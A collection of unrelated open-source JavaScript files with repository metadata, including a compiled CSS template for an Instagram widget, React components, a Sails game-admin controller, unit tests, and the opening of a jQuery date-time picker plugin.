}) : helper)) + ' .instashow-popup-media-info-author {\n color: ' + alias3((helper = (helper = helpers.colorPopupUsername || (depth0 != null ? depth0.colorPopupUsername : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupUsername',
'hash': {},
'data': data
}) : helper)) + ';\n }\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-author:hover {\n color: ' + alias3((helper = (helper = helpers.colorPopupUsernameHover || (depth0 != null ? depth0.colorPopupUsernameHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupUsernameHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' a.instashow-popup-media-info-original {\n border-color: ' + alias3((helper = (helper = helpers.colorPopupInstagramLink || (depth0 != null ? depth0.colorPopupInstagramLink : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupInstagramLink',
'hash': {},
'data': data
}) : helper)) + ';\n color: ' + alias3((helper = (helper = helpers.colorPopupInstagramLink || (depth0 != null ? depth0.colorPopupInstagramLink : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupInstagramLink',
'hash': {},
'data': data
}) : helper)) + ';\n }\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' a.instashow-popup-media-info-original:hover {\n border-color: ' + alias3((helper = (helper = helpers.colorPopupInstagramLinkHover || (depth0 != null ? depth0.colorPopupInstagramLinkHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupInstagramLinkHover',
'hash': {},
'data': data
}) : helper)) + ';\n color: ' + alias3((helper = (helper = helpers.colorPopupInstagramLinkHover || (depth0 != null ? depth0.colorPopupInstagramLinkHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupInstagramLinkHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-properties {\n color: ' + alias3((helper = (helper = helpers.colorPopupCounters || (depth0 != null ? depth0.colorPopupCounters : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupCounters',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-passed-time {\n color: ' + alias3((helper = (helper = helpers.colorPopupPassedTime || (depth0 != null ? depth0.colorPopupPassedTime : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupPassedTime',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-content {\n color: ' + alias3((helper = (helper = helpers.colorPopupText || (depth0 != null ? depth0.colorPopupText : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupText',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-content a {\n color: ' + alias3((helper = (helper = helpers.colorPopupAnchor || (depth0 != null ? depth0.colorPopupAnchor : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupAnchor',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-info-content a:hover {\n color: ' + alias3((helper = (helper = helpers.colorPopupAnchorHover || (depth0 != null ? depth0.colorPopupAnchorHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupAnchorHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow span::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow span::after,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close::after {\n background: ' + alias3((helper = (helper = helpers.colorPopupControls || (depth0 != null ? depth0.colorPopupControls : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupControls',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow:hover span::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow:hover span::after,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close:hover::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close:hover::after {\n background: ' + alias3((helper = (helper = helpers.colorPopupControlsHover || (depth0 != null ? depth0.colorPopupControlsHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupControlsHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-video::before {\n color: ' + alias3((helper = (helper = helpers.colorPopupControls || (depth0 != null ? depth0.colorPopupControls : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupControls',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-video:hover::before {\n color: ' + alias3((helper = (helper = helpers.colorPopupControlsHover || (depth0 != null ? depth0.colorPopupControlsHover : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupControlsHover',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n @media only screen and (max-width: 1024px) {\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close {\n background: ' + alias3((helper = (helper = helpers.colorPopupMobileControlsBg || (depth0 != null ? depth0.colorPopupMobileControlsBg : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupMobileControlsBg',
'hash': {},
'data': data
}) : helper)) + ';\n }\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow span::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow span::after,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close::after,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow:hover span::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-arrow:hover span::after,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close:hover::before,\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-control-close:hover::after {\n background: ' + alias3((helper = (helper = helpers.colorPopupMobileControls || (depth0 != null ? depth0.colorPopupMobileControls : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupMobileControls',
'hash': {},
'data': data
}) : helper)) + ';\n }\n\n #instaShowPopup_' + alias3((helper = (helper = helpers.id || (depth0 != null ? depth0.id : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'id',
'hash': {},
'data': data
}) : helper)) + ' .instashow-popup-media-video::before {\n color: ' + alias3((helper = (helper = helpers.colorPopupMobileControls || (depth0 != null ? depth0.colorPopupMobileControls : depth0)) != null ? helper : alias1, typeof helper === alias2 ? helper.call(depth0, {
'name': 'colorPopupMobileControls',
'hash': {},
'data': data
}) : helper)) + ';\n }\n }\n</style>';
},
'useData': true
});
module.exports = views;
},{}]},{},[5]) | nathan-le/nathan-le.github.io | assets/instashowZip/instashow/jquery.instashow.js | JavaScript | mit | 152,029 |
/** @jsx h */
import h from '../../../helpers/h'
export default function (change) {
change.deleteForward()
}
export const input = (
<state>
<document>
<paragraph>
<cursor />
</paragraph>
<image />
</document>
</state>
)
export const output = (
<state>
<document>
<image>
<cursor />{' '}
</image>
</document>
</state>
)
| AlbertHilb/slate | packages/slate/test/changes/at-current-range/delete-forward/empty-before-void-block.js | JavaScript | mit | 395 |
var IntroLogo = React.createClass({
displayName: "IntroLogo",
buildIntroLogo(props, state) {
return (
<ReactCSSTransitionGroup component="div" className="v-intro-logo" transitionName="trigger-ani"
transitionAppear={true} transitionAppearTimeout={1000}
transitionEnterTimeout={500} transitionLeaveTimeout={500}>
{<div className="content">
<h1 className="logo">
<a href="/" title="COACH"> <img src="/img/coach_logo.png" alt="COACH" title="COACH" /></a>
</h1>
</div>}
</ReactCSSTransitionGroup>
)
},
render() {
return this.buildIntroLogo(this.props, this.state);
}
});
module.exports = IntroLogo;
| singggum3b/meteor-gulp-seed | source/client/js/views/intro-logo.js | JavaScript | mit | 678 |
import { TRACKS_INFO } from '.';
export const TRACKS_INFO_BY_TYPE = TRACKS_INFO.reduce((tracksByType, track) => {
tracksByType[track.type] = track;
if (track.aliases) {
for (const alias of track.aliases) {
tracksByType[alias] = track;
}
}
return tracksByType;
}, {});
export default TRACKS_INFO_BY_TYPE;
| hms-dbmi/4DN_matrix-viewer | app/scripts/configs/tracks-info-by-type.js | JavaScript | mit | 328 |
var Promise = require('bluebird');
module.exports = {
infectOZ: function (req, res) {
sails.log.info(req.user.email + ' is infecting OZs...');
User.find({oz: true}, function (err, users) {
if (err)
return res.negotiate(err);
var promises = [];
users.forEach(function (user) {
if (user.team === 'zombie')
return;
user.team = 'zombie';
user.addBadge('oz');
promises.push(new Promise(function (resolve, reject) {
user.save(function (err) {
if (err) {
return reject(err);
}
sails.log.info(user.email + ' has been OZ\'d');
NotificationService.updateTags(user, {team: user.team});
NotificationService.sendToUser(user, "Infected", "You are an OZ! Go out there and eat some brains!");
FeedService.add(user, ["You are an OZ! Go out there and eat some brains!"], FeedService.badgeImage("oz"));
Follower.find({user: user.id}).populate('follower').exec(function (err, followers) {
if (err) {
sails.log.error(err);
}
else if (followers) {
var notify = [];
followers.forEach(function (follower) {
FeedService.add(follower.follower.id, [FeedService.user(user), " has become an OZ!"], FeedService.badgeImage('infected'));
notify.push(follower.follower);
});
NotificationService.sendToUsers(notify, "Infection", user.name + " has become an OZ!");
}
});
resolve();
});
}));
});
Promise.all(promises).then(function () {
res.ok({message: 'Started the infection with ' + promises.length + ' users.'});
}).catch(function (err) {
res.negotiate(err);
});
});
}
}; | redxdev/hvzsite-next | server/api/controllers/AdminGameController.js | JavaScript | mit | 2,321 |
import React, { Component } from 'react';
import { Link } from 'react-router';
class HomeView extends Component {
render() {
return (
<div>
<div className="jumbotron1 text-center">
<div>
<div className='white'>
<h1 className="card border">We like <b>fast</b></h1>
<p className="front border">Race to the finish line.<br></br>Process the toughest, largest projects in less time than you ever imagined.</p>
</div>
</div>
<p><Link to="menu" className="white"><button className="btn-success btn-lg">Click here to discover projects</button></Link></p>
</div>
<div className="container">
<div className="row">
<div className="col-sm-4">
<h3 className="text-center customGreen"><span className="glyphicon glyphicon-fast-forward" aria-hidden="true"></span><br></br>All we know is fast</h3>
<div>Help other users speed up even the most difficult processes. Every time someone joins an existing project, watch as the project's completion time dwindles in front of your eyes.
</div>
</div>
<div className="col-sm-4">
<h3 className="text-center customGreen"><span className="glyphicon glyphicon-cloud-upload" aria-hidden="true"></span><br></br>Distribute your project</h3>
<div>Have an idea? Upload your project based on Rally's template and share your idea. As users log in, it will distribute jobs out for them to complete. Cut the amount of time it would usually take to run your project into incredibly short times.
</div>
</div>
<div className="col-sm-4">
<h3 className="text-center customGreen"><span className="glyphicon glyphicon-queen" aria-hidden="true"></span><br></br>See it for yourself</h3>
<div>Don't have a project but want to see our app in action? Create a project and see a demo of how distributed computing can make even the most demanding algorithms complete in faster times than any normal computer could handle.
</div>
</div>
</div>
</div>
<br></br>
<h2 className="text-center customGreen">Wait, but how does it work?</h2>
<br></br>
<img className="center-block" src="../../assets/diagram.png"></img>
</div>
);
}
}
export default HomeView;
| scandalouswool/rally | client/src/components/HomeView.js | JavaScript | mit | 2,457 |
const assert = require('assert');
const matchTransitionFor = require('../../../../../src/world/components/lib/matchTransitionFor');
const Rule = require('../../../../../src/components/rule');
const SG = require('../../../../../src/main');
const Actor = SG.Actor;
const Type = SG.Type;
const c = SG.constants;
describe('matchTransitionFor', () => {
const world = new SG.World();
const cat = new Type('cat');
world.addLocation({ name: 'the garden' });
world.addLocation({ name: 'the shed' });
const Sport = world.addActor(new Actor({
type: cat,
name: 'Sport',
locations: ['the garden', 'the shed'],
}));
world.addRule(new Rule({
cause: {
type: [Sport, c.move_out, 'the garden'],
value: [],
},
consequent: {
type: [c.source, c.move_in, 'the shed'],
value: [c.source, 'wanders', 'the shed'],
},
isDirectional: true,
mutations: null,
consequentActor: null,
}));
const actor = world.actors[0];
it('Returns a Rule if there are available Rules', () => {
assert.deepEqual(matchTransitionFor(actor, world.numRules, world.rules) instanceof Rule, true);
});
it('Returns false if there are no available Rules', () => {
world.rules = [
new Rule({
cause: {
type: [Sport, c.move_out, 'the shed'],
value: [],
},
consequent: {
type: [c.source, c.move_in, 'the garden'],
value: [c.source, 'wanders', 'the garden'],
},
isDirectional: true,
mutations: null,
consequentActor: null,
}),
];
assert.deepEqual(matchTransitionFor(actor, world.numRules, world.rules), false);
});
});
| incrediblesound/story-graph | test/src/world/components/lib/matchTransitionFor.js | JavaScript | mit | 1,671 |
import React, {Component, PropTypes} from 'react';
import {connect} from 'react-redux';
import { TrackCartEntry, ReleaseCartEntry} from 'components';
@connect(
state => ({cart: state.cart})
)
export default class Cart extends Component {
static propTypes = {
cart: PropTypes.object
};
render() {
const {cart} = this.props;
if (!cart) {
return (
<div></div>
);
}
return (
<div className="cartPage">
<div className="row cart">
<h1>Your shopping cart</h1>
<h3>{cart.totalBasketItems} tracks added</h3>
<table className="col-sm-12">
<tbody>
{cart.basket.map(function createEntries(item, index) {
if (!item.data.Tracks) {
// this is a track
return <TrackCartEntry key={index} item={item} currencySymbol={cart.currency.symbol} />;
}
if (item.data.Tracks) {
// this is a release
return <ReleaseCartEntry key={index} item={item} currencySymbol={cart.currency.symbol} />;
}
}
)}
</tbody>
</table>
</div>
</div>
);
}
}
| TracklistMe/client-web | src/containers/Cart/Cart.js | JavaScript | mit | 1,214 |
/* jQuery UI Date Picker v3.4.3 (previously jQuery Calendar)
Written by Marc Grabanski ([email protected]) and Keith Wood ([email protected]).
Copyright (c) 2007 Marc Grabanski (http://marcgrabanski.com/code/ui-datetimepicker)
Dual licensed under the MIT (MIT-LICENSE.txt)
and GPL (GPL-LICENSE.txt) licenses.
Date: 09-03-2007 */
/*
* Time functionality added by Stanislav Dobry ([email protected])
* Date: 2008-06-04
*/
;(function($) { // hide the namespace
/* Date picker manager.
Use the singleton instance of this class, $.datetimepicker, to interact with the date picker.
Settings for (groups of) date pickers are maintained in an instance object
(DatepickerInstance), allowing multiple different settings on the same page. */
function DateTimepicker() {
this.debug = false; // Change this to true to start debugging
this._nextId = 0; // Next ID for a date picker instance
this._inst = []; // List of instances indexed by ID
this._curInst = null; // The current instance in use
this._disabledInputs = []; // List of date picker inputs that have been disabled
this._datetimepickerShowing = false; // True if the popup picker is showing , false if not
this._inDialog = false; // True if showing within a "dialog", false if not
this.regional = []; // Available regional settings, indexed by language code
this.regional[''] = { // Default regional settings
clearText: 'Clear', // Display text for clear link
clearStatus: 'Erase the current date', // Status text for clear link
closeText: 'Close', // Display text for close link
closeStatus: 'Close without change', // Status text for close link
prevText: '<Prev', // Display text for previous month link
prevStatus: 'Show the previous month', // Status text for previous month link
nextText: 'Next>', // Display text for next month link
nextStatus: 'Show the next month', // Status text for next month link
currentText: 'Today', // Display text for current month link
currentStatus: 'Show the current month', // Status text for current month link
monthNames: ['January','February','March','April','May','June',
'July','August','September','October','November','December'], // Names of months for drop-down and formatting
monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], // For formatting
monthStatus: 'Show a different month', // Status text for selecting a month
yearStatus: 'Show a different year', // Status text for selecting a year
weekHeader: 'Wk', // Header for the week of the year column
weekStatus: 'Week of the year', // Status text for the week of the year column
dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], // For formatting
dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], // For formatting
dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], // Column headings for days starting at Sunday
dayStatus: 'Set DD as first week day', // Status text for the day of the week selection
dateStatus: 'Select DD, M d', // Status text for the date selection
dateFormat: 'mm/dd/yy', // See format options on parseDate
timeFormat: 'hh:ii',
firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
initStatus: 'Select a date', // Initial Status text on opening
isRTL: false // True if right-to-left language, false if left-to-right
};
this._defaults = { // Global defaults for all the date picker instances
showOn: 'focus', // 'focus' for popup on focus,
// 'button' for trigger button, or 'both' for either
showAnim: 'show', // Name of jQuery animation for popup
defaultDate: null, // Used when field is blank: actual date,
// +/-number for offset from today, null for today
appendText: '', // Display text following the input box, e.g. showing the format
buttonText: '...', // Text for trigger button
buttonImage: '', // URL for trigger button image
buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
closeAtTop: true, // True to have the clear/close at the top,
// false to have them at the bottom
mandatory: false, // True to hide the Clear link, false to include it
hideIfNoPrevNext: false, // True to hide next/previous month links
// if not applicable, false to just disable them
changeMonth: true, // True if month can be selected directly, false if only prev/next
changeYear: true, // True if year can be selected directly, false if only prev/next
yearRange: '-10:+10', // Range of years to display in drop-down,
// either relative to current year (-nn:+nn) or absolute (nnnn:nnnn)
changeFirstDay: true, // True to click on day name to change, false to remain as set
showOtherMonths: false, // True to show dates in other months, false to leave blank
showWeeks: false, // True to show week of the year, false to omit
calculateWeek: this.iso8601Week, // How to calculate the week of the year,
// takes a Date and returns the number of the week for it
shortYearCutoff: '+10', // Short year values < this are in the current century,
// > this are in the previous century,
// string value starting with '+' for current year + value
showStatus: false, // True to show status bar at bottom, false to not show it
statusForDate: this.dateStatus, // Function to provide status text for a date -
// takes date and instance as parameters, returns display text
minDate: null, // The earliest selectable date, or null for no limit
maxDate: null, // The latest selectable date, or null for no limit
speed: 'normal', // Speed of display/closure
beforeShowDay: null, // Function that takes a date and returns an array with
// [0] = true if selectable, false if not,
// [1] = custom CSS class name(s) or '', e.g. $.datetimepicker.noWeekends
beforeShow: null, // Function that takes an input field and
// returns a set of custom settings for the date picker
onSelect: null, // Define a callback function when a date is selected
onClose: null, // Define a callback function when the datetimepicker is closed
numberOfMonths: 1, // Number of months to show at a time
stepMonths: 1, // Number of months to step back/forward
rangeSelect: false, // Allows for selecting a date range on one date picker
rangeSeparator: ' - ' // Text between two dates in a range
};
$.extend(this._defaults, this.regional['']);
this._datetimepickerDiv = $('<div id="datetimepicker_div"></div>');
}
$.extend(DateTimepicker.prototype, {
/* Class name added to elements to indicate already configured with a date picker. */
markerClassName: 'hasDatepicker',
/* Debug logging (if enabled). */
log: function () {
if (this.debug)
console.log.apply('', arguments);
},
/* Register a new date picker instance - with custom settings. */
_register: function(inst) {
var id = this._nextId++;
this._inst[id] = inst;
return id;
},
/* Retrieve a particular date picker instance based on its ID. */
_getInst: function(id) {
return this._inst[id] || id;
},
/* Override the default settings for all instances of the date picker.
@param settings object - the new settings to use as defaults (anonymous object)
@return the manager object */
setDefaults: function(settings) {
extendRemove(this._defaults, settings || {});
return this;
},
/* Attach the date picker to a jQuery selection.
@param target element - the target input field or division or span
@param settings object - the new settings to use for this date picker instance (anonymous) */
_attachDatepicker: function(target, settings) {
// check for settings on the control itself - in namespace 'date:'
var inlineSettings = null;
for (attrName in this._defaults) {
var attrValue = target.getAttribute('date:' + attrName);
if (attrValue) {
inlineSettings = inlineSettings || {};
try {
inlineSettings[attrName] = eval(attrValue);
} catch (err) {
inlineSettings[attrName] = attrValue;
}
}
}
var nodeName = target.nodeName.toLowerCase();
var instSettings = (inlineSettings ?
$.extend(settings || {}, inlineSettings || {}) : settings);
if (nodeName == 'input') {
var inst = (inst && !inlineSettings ? inst :
new DateTimepickerInstance(instSettings, false));
this._connectDatepicker(target, inst);
} else if (nodeName == 'div' || nodeName == 'span') {
var inst = new DateTimepickerInstance(instSettings, true);
this._inlineDatepicker(target, inst);
}
},
/* Detach a datetimepicker from its control.
@param target element - the target input field or division or span */
_destroyDatepicker: function(target) {
var nodeName = target.nodeName.toLowerCase();
var calId = target._calId;
target._calId = null;
var $target = $(target);
if (nodeName == 'input') {
$target.siblings('.datetimepicker_append').replaceWith('').end()
.siblings('.datetimepicker_trigger').replaceWith('').end()
.removeClass(this.markerClassName)
.unbind('focus', this._showDatepicker)
.unbind('keydown', this._doKeyDown)
.unbind('keypress', this._doKeyPress);
var wrapper = $target.parents('.datetimepicker_wrap');
if (wrapper)
wrapper.replaceWith(wrapper.html());
} else if (nodeName == 'div' || nodeName == 'span')
$target.removeClass(this.markerClassName).empty();
if ($('input[_calId=' + calId + ']').length == 0)
// clean up if last for this ID
this._inst[calId] = null;
},
/* Enable the date picker to a jQuery selection.
@param target element - the target input field or division or span */
_enableDatepicker: function(target) {
target.disabled = false;
$(target).siblings('button.datetimepicker_trigger').each(function() { this.disabled = false; }).end()
.siblings('img.datetimepicker_trigger').css({opacity: '1.0', cursor: ''});
this._disabledInputs = $.map(this._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete entry
},
/* Disable the date picker to a jQuery selection.
@param target element - the target input field or division or span */
_disableDatepicker: function(target) {
target.disabled = true;
$(target).siblings('button.datetimepicker_trigger').each(function() { this.disabled = true; }).end()
.siblings('img.datetimepicker_trigger').css({opacity: '0.5', cursor: 'default'});
this._disabledInputs = $.map($.datetimepicker._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete entry
this._disabledInputs[$.datetimepicker._disabledInputs.length] = target;
},
/* Is the first field in a jQuery collection disabled as a datetimepicker?
@param target element - the target input field or division or span
@return boolean - true if disabled, false if enabled */
_isDisabledDatepicker: function(target) {
if (!target)
return false;
for (var i = 0; i < this._disabledInputs.length; i++) {
if (this._disabledInputs[i] == target)
return true;
}
return false;
},
/* Update the settings for a date picker attached to an input field or division.
@param target element - the target input field or division or span
@param name string - the name of the setting to change or
object - the new settings to update
@param value any - the new value for the setting (omit if above is an object) */
_changeDatepicker: function(target, name, value) {
var settings = name || {};
if (typeof name == 'string') {
settings = {};
settings[name] = value;
}
if (inst = this._getInst(target._calId)) {
extendRemove(inst._settings, settings);
this._updateDatepicker(inst);
}
},
/* Set the dates for a jQuery selection.
@param target element - the target input field or division or span
@param date Date - the new date
@param endDate Date - the new end date for a range (optional) */
_setDateDatepicker: function(target, date, endDate) {
if (inst = this._getInst(target._calId)) {
inst._setDate(date, endDate);
this._updateDatepicker(inst);
}
},
/* Get the date(s) for the first entry in a jQuery selection.
@param target element - the target input field or division or span
@return Date - the current date or
Date[2] - the current dates for a range */
_getDateDatepicker: function(target) {
var inst = this._getInst(target._calId);
return (inst ? inst._getDate() : null);
},
/* Handle keystrokes. */
_doKeyDown: function(e) {
var inst = $.datetimepicker._getInst(this._calId);
if ($.datetimepicker._datetimepickerShowing)
switch (e.keyCode) {
case 9: $.datetimepicker._hideDatepicker(null, '');
break; // hide on tab out
case 13: $.datetimepicker._selectDay(inst, inst._selectedMonth, inst._selectedYear,
$('td.datetimepicker_daysCellOver', inst._datetimepickerDiv)[0]);
return false; // don't submit the form
break; // select the value on enter
case 27: $.datetimepicker._hideDatepicker(null, inst._get('speed'));
break; // hide on escape
case 33: $.datetimepicker._adjustDate(inst,
(e.ctrlKey ? -1 : -inst._get('stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
break; // previous month/year on page up/+ ctrl
case 34: $.datetimepicker._adjustDate(inst,
(e.ctrlKey ? +1 : +inst._get('stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
break; // next month/year on page down/+ ctrl
case 35: if (e.ctrlKey) $.datetimepicker._clearDate(inst);
break; // clear on ctrl+end
case 36: if (e.ctrlKey) $.datetimepicker._gotoToday(inst);
break; // current on ctrl+home
case 37: if (e.ctrlKey) $.datetimepicker._adjustDate(inst, -1, 'D');
break; // -1 day on ctrl+left
case 38: if (e.ctrlKey) $.datetimepicker._adjustDate(inst, -7, 'D');
break; // -1 week on ctrl+up
case 39: if (e.ctrlKey) $.datetimepicker._adjustDate(inst, +1, 'D');
break; // +1 day on ctrl+right
case 40: if (e.ctrlKey) $.datetimepicker._adjustDate(inst, +7, 'D');
break; // +1 week on ctrl+down
}
else if (e.keyCode == 36 && e.ctrlKey) // display the date picker on ctrl+home
$.datetimepicker._showDatepicker(this);
},
/* Filter entered characters - based on date format. */
_doKeyPress: function(e) {
var inst = $.datetimepicker._getInst(this._calId);
var chars = $.datetimepicker._possibleChars(inst._get('dateFormat')+' '+inst._get('timeFormat'));
var chr = String.fromCharCode(e.charCode == undefined ? e.keyCode : e.charCode);
